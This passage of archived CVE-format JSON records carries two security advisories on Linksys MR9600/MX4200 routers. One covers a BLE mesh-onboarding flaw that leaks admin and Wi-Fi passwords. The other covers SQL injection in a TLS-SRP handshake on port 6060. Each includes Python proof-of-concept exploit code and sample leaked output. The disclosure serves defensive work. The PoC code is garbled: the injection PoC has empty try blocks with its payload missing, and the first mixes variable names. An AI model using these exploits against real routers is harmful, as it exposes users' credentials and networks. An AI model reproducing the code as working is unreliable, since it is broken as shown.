          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/10",
            "automated": true,
            "contentSha256": "ad2608d3b5842e8443985c8493758e315f2e2443b842cda321d4fab259f90b97",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/10",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-12T10:12:30Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-09T10:09:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0199"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linksys MX9600/MX4200 -",
          "vendor": "Linksys",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Christian Z\u00e4ske via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SYSS-2025-002\nProduct:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0MR9600, MX4200 (and potentially others)\nManufacturer:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Linksys\n\nTested Version(s):\u00a0 \u00a0 \u00a0 \u00a0 \u00a01.0.4.205530 for MR9600, 1.0.13.210200 for MX4200\n\nRisk Level:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Medium\nSolution Status:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Open\nManufacturer Notification: 2025-03-18\nSolution Date:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0-\nPublic Disclosure:\u00a0 \u00a0 \u00a0 \u00a0 \u00a02026-02-12\nCVE Reference:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Not yet assigned\nAuthor of Advisory:\u00a0 \u00a0 \u00a0 \u00a0 Christian Z\u00e4ske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi\u00ae 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to missing authentication, a user with physical access to the device\ncan misuse the mesh functionality to add a new mesh device to the network\nto gain access to sensitive information, including the password for admin\naccess to the web interface and the Wi-Fi passwords.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and other models) provides the functionality to add\nother devices to the mesh network. One method to add such a device uses\na Bluetooth connection initiated by pressing the reset button quickly\nfive times.\n\nThis makes the router search for nearby Bluetooth Low Energy (BLE) devices\nwith specific services and characteristics. After such a device is found,\nthe router will connect to it and send credentials for a hidden Wi-Fi\nnetwork as well as a TLS-SRP username and password. This information\ncan be used to connect to the hidden Wi-Fi and a service running on TCP\nport 6060, which accepts a TLS-SRP connection using the given\ncredentials.\n\nBy sending a binary hello message, followed by a so-called \"sync request\",\nthe service will answer with sensitive data, including the password for\nadmin access to the web interface and the Wi-Fi passwords.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo be recognized as a Linksys mesh device over BLE, the correct data has\nto be advertised. This includes the following:\n\n\u00a0 - Flags: 0x06\n\u00a0 - Manufacturer specific data: 0x5C00 0x0000\n\n\u00a0 - Complete local name: Linksys\n\nAdditionally, the following service has to be present with the specified\ncharacteristics:\n\n\u00a0 Service UUID: 00002080-8eab-46c2-b788-0e9440016fd1\n\n\u00a0 Characteristics 1:\n\u00a0 \u00a0 UUID: 00002081-8eab-46c2-b788-0e9440016fd1\n\u00a0 \u00a0 Properties: READ, WRITE, NOTIFY\n\u00a0 \u00a0 Permissions: READABLE, WRITABLE\n\n\u00a0 Characteristics 2:\n\u00a0 \u00a0 UUID: 00002082-8eab-46c2-b788-0e9440016fd1\n\u00a0 \u00a0 Properties: READ, WRITE, NOTIFY\n\u00a0 \u00a0 Permissions: READABLE, WRITABLE\n\nAfter the reset button on the MX4200 is pressed quickly five times,\nit will connect to the advertising device and write the data containing\nthe SSID and passphrase of the hidden Wi-Fi network as well as the\nTLS-SRP username and password into the second characteristic.\n\nAfter this data is received and a Wi-Fi connection to the hidden\nnetwork is established, the following Python code, using the\n\"tlslite-ng\" library, can be used to connect to the service running on\nTCP port 6060 and to send the sync request:\n\n\u00a0 from socket import *\n\u00a0 from tlslite.api import *\n\n\u00a0 sock = socket.socket(AF_INET, SOCK_STREAM)\n\u00a0 sock.connect((\"192.168.1.1\", 6060))\n\n\u00a0 conn = TLSConnection(sock)\n\u00a0 conn.handshakeClientSRP(srp_username, srp_pass)\n\nconn.sendall(bytes.fromhex(\"4f53435479e0b43120fcf435000000600000\"))\n\n\n\u00a0 data = \"\"\n\u00a0 msg = connection.recv(1024)\n\u00a0 while msg:\n\u00a0 \u00a0 \u00a0 data = data + msg.hex()\n\u00a0 \u00a0 \u00a0 msg = connection.recv(1024)\n\n\u00a0 data = bytes.fromhex(data[36:-2])\n\u00a0 data = data.decode(\"utf8\")\n\u00a0 json_data = json.loads(data)\n\u00a0 print(json.dumps(json_data, indent=2))\n\nThe returned data is shown in the following:\n\n\u00a0 {\n\u00a0 \u00a0 \"ADMIN\": {\n\u00a0 \u00a0 \u00a0 \"syscfg\": [\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"device::admin_password\": \"AdminPassword+1\"\n\u00a0 \u00a0 \u00a0 \u00a0 }\n\u00a0 \u00a0 \u00a0 ],\n\u00a0 \u00a0 \u00a0 [...]\n\u00a0 \u00a0 },\n\u00a0 \u00a0 \"WLAN\": {\n\u00a0 \u00a0 \u00a0 \"syscfg\": [\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"device::wps_pin\": \"63091700\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 [...]\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"wl0_passphrase\": \"WiFiPassword\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"wl0_security_mode\": \"wpa2-personal\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 {\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \"wl0_ssid\": \"LinksysRD\"\n\u00a0 \u00a0 \u00a0 \u00a0 },\n\u00a0 \u00a0 \u00a0 \u00a0 [...]\n\u00a0 \u00a0 \u00a0 ],\n\u00a0 \u00a0 },\n\u00a0 \u00a0 [...]\n\u00a0 }\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThere is no known solution yet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2024-11-11: Vulnerability discovered\n2025-03-18: Vulnerability reported to manufacturer\n2025-04-07: First response from manufacturer\n2025-04-14: Requested an update from manufacturer\n2025-05-06: Acknowledgment of vulnerabilities by the manufacturer\n2025-06-24: Manufacturer information: vulnerability will not receive fix\n2026-02-12: Public disclosure\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] Product website for Linksys MX4200\n\u00a0 \u00a0 https://support.linksys.com/kb/article/952-en/\n[2] SySS Security Advisory SYSS-2025-002\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-002.txt\n[3] SySS Responsible Disclosure Policy\n\u00a0 \u00a0 https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Christian Z\u00e4ske of SySS\nGmbH.\n\nE-Mail: christian.zaeske () syss de\n\nKey ID: 0x7B00D164A32F9AC9\nKey Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 3.0\nURL: https://creativecommons.org/licenses/by/3.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/11"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/11"
        },
        {
          "url": "https://creativecommons.org/licenses/by/3.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.linksys.com/kb/article/952-en/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        },
        {
          "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-002.txt"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/11"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2025-002] Linksys MX9600/MX4200 - Missing Authentication for Critical Function",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0200",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/11",
            "automated": true,
            "contentSha256": "c8cd125dae339fed121055b3d91afb985712c7196e53275f1a6d2bc8f7059795",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/11",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-12T10:12:40Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-09T10:09:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0200"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linksys MX9600/MX4200 -",
          "vendor": "Linksys",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Christian Z\u00e4ske via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SYSS-2025-009\nProduct:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0MR9600, MX4200 (and potentially others)\nManufacturer:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Linksys\n\nTested Version(s):\u00a0 \u00a0 \u00a0 \u00a0 \u00a01.0.4.205530 for MR9600, 1.0.13.210200 for MX4200\nVulnerability Type:\u00a0 \u00a0 \u00a0 \u00a0 SQL Injection (CWE-89)\nRisk Level:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 High\nSolution Status:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Open\nManufacturer Notification: 2025-03-18\nSolution Date:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0-\nPublic Disclosure:\u00a0 \u00a0 \u00a0 \u00a0 \u00a02026-02-12\nCVE Reference:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Not yet assigned\nAuthor of Advisory:\u00a0 \u00a0 \u00a0 \u00a0 Christian Z\u00e4ske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi\u00ae 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to improper neutralization of special elements, SQL statements can\nbe injected via the handshake of a TLS-SRP connection. This can be used\nto inject known credentials into the database. These credentials can be\nutilized to successfully complete the handshake and use the protected\nservice.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and other models) provides a service (sct_server\nbinary) running on TCP port 6060 (all interfaces except WAN), which is\nused to integrate other mesh devices into the network. The service\naccepts TLS-SRP connections with a username and password.\n\nThe service uses a different script (smcdb_auth) to receive credential\ninformation from an SQLite databse using the given username. Since the\nservice does not properly neutralize special elements in the username,\narbitrary SQL statements can be injected. This can be used to insert\nknown credentials into the correct database table, which then provide\naccess to the protected service (sct_server).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nUsing the \"tlslite-ng\" library, the following Python code will inject\nknown credentials into the \"authorize\" table of the used SQLite database.\nThese credentials can be used to access the service.\n\n\u00a0 from socket import *\n\u00a0 from tlslite.api import *\n\u00a0 from tlslite import *\n\n\u00a0 N, g, salt, verifier = VerifierDB.makeVerifier(\"SySS\", \"SySS\", 1024)\n\u00a0 verifier_bytes = verifier.to_bytes(128)\n\n\u00a0 sock = socket.socket(AF_INET, SOCK_STREAM)\n\u00a0 sock.connect((\"192.168.1.1\", 6060))\n\n\u00a0 conn = TLSConnection(sock)\n\u00a0 try:\n\n\u00a0 except:\n\u00a0 \u00a0 \u00a0 pass\n\n\u00a0 for byte in verifier_bytes:\n\u00a0 \u00a0 \u00a0 sock = socket.socket(AF_INET, SOCK_STREAM)\n\u00a0 \u00a0 \u00a0 sock.connect((\"192.168.1.1\", 6060))\n\u00a0 \u00a0 \u00a0 conn = TLSConnection(sock)\n\u00a0 \u00a0 \u00a0 try:\n\n\u00a0 \u00a0 \u00a0 except:\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 pass\n\n\nAfter the code is executed, the TLS-SRP handshake will successfully\ncomplete when authenticating with the username \"SySS\" and the\npassword \"SySS\".\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThere is no known solution yet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2025-01-30: Vulnerability discovered\n2025-03-18: Vulnerability reported to manufacturer\n2025-04-07: First response from manufacturer\n2025-04-14: Requested an update from manufacturer\n2025-05-06: Acknowledgment of vulnerabilities by the manufacturer\n2026-02-12: Public disclosure\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] Product website for Linksys MX4200\n\u00a0 \u00a0 https://support.linksys.com/kb/article/952-en/\n[2] SySS Security Advisory SYSS-2025-009\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-009.txt\n[3] SySS Responsible Disclosure Policy\n\u00a0 \u00a0 https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Christian Z\u00e4ske of SySS\nGmbH.\n\nE-Mail: christian.zaeske () syss de\n\nKey ID: 0x7B00D164A32F9AC9\nKey Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 3.0\nURL: https://creativecommons.org/licenses/by/3.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "CWE-89",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:40Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/12"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/12"
        },
        {
          "url": "https://creativecommons.org/licenses/by/3.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.linksys.com/kb/article/952-en/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        },
        {
          "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-009.txt"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/12"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2025-009] Linksys MX9600/MX4200 - SQL Injection",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0201",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/12",
            "automated": true,
            "contentSha256": "d646c0810ab896ea8950905e0c13345bf317a514066c6a6bb89c083058e07519",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/12",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-12T10:12:50Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-09T10:09:40Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0201"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}